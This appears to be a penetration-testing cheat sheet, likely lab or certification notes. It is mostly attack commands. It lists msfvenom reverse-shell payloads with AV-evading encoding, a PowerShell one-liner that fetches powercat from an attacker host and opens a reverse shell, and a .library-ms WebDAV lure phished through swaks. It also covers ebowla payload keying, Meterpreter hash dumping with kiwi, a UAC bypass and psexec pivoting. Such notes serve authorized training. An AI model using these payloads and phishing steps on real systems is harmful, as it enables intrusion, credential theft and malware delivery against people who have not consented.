Exploitation (Public Exploits, Client-Side, AV Evasion, Metasploit, BOF)

💥 Exploitation

Public exploits

• Check adjacent versions too (if 4.49 is vulnerable, test 4.5).
• searchsploit WORD → searchsploit -m PATH to download.

Fixing exploits

i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe        # cross-compile (32-bit Win)
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.4 LPORT=443 EXITFUNC=thread \
  -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

Mind the NOP slide (no-operational padding) when fixing shellcode offsets.

Client-side attack (WebDAV + .library-ms + .lnk)

1. WebDAV on Kali: wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/
2. config.Library-ms pointing at the Kali WebDAV URL:

   <?xml version="1.0" encoding="UTF-8"?>
   <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
   <name>@windows.storage.dll,-34582</name>
   <version>6</version>
   <isLibraryPinned>true</isLibraryPinned>
   <iconReference>imageres.dll,-1003</iconReference>
   <templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo>
   <searchConnectorDescriptionList><searchConnectorDescription>
     <isDefaultSaveLocation>true</isDefaultSaveLocation>
     <isSupported>false</isSupported>
     <simpleLocation><url>http://192.168.119.5</url></simpleLocation>
   </searchConnectorDescription></searchConnectorDescriptionList>
   </libraryDescription>

3. Shortcut command:
   powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.187:8000/powercat.ps1'); powercat -c 192.168.45.187 -p 4444 -e powershell"
4. python3 -m http.server 8000 and nc -nvlp 4444
5. Phish it:
   sudo swaks -t daniela@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap

AV / Defender evasion

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

ebowla (environment-keyed payload):

1. msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.41 LPORT=443 -f exe -o rev.exe
2. Edit genetic.config (output_type = GO, payload_type = EXE, set [[ENV_VAR]] e.g. computername = 'Giddy').
3. python ebowla.py rev.exe genetic.config
4. ./build_x64_go.sh output/go_symmetric_rev.exe.go rev-ebowla.exe
5. Test safely under C:\Windows\Tasks.

Metasploit

msfconsole
db_nmap -A 192.168.50.202          # scan into the DB → hosts / vulns / creds
search type:auxiliary smb          # find a module
use <num>                          # select it
info                               # what it does
show options                       # required settings
set VAR value                      # configure
sessions -l                        # list active sessions

Multi-handler for a caught shell:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https

Meterpreter

Ctrl+Z                             # background the session
channel -l                         # list channels
channel -i 1                       # interact with one
download /etc/passwd               # pull a file
upload /usr/bin/unix-privesc-check /tmp/
shell                              # drop to a system shell (then: whoami /priv)
getsystem                          # attempt SYSTEM
ps                                 # process list
migrate <PID>                      # move into another process
execute -H -f notepad              # spawn a process to migrate into
load kiwi                          # load Mimikatz
creds_msv                          # dump hashes

UAC bypass: Import-Module NtObjectManager → Get-NtTokenIntegrityLevel; if Medium, background the session and use exploit/windows/local/bypassuac_sdclt.

Pivot: route add 172.16.5.0/24 12 then use exploit/windows/smb/psexec (see pivoting).

Buffer Overflow (archive)

!mona config -set workingfolder c:\mona\%p
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
!mona findmsp -distance 600
# EIP contains normal pattern ... (offset XXXX)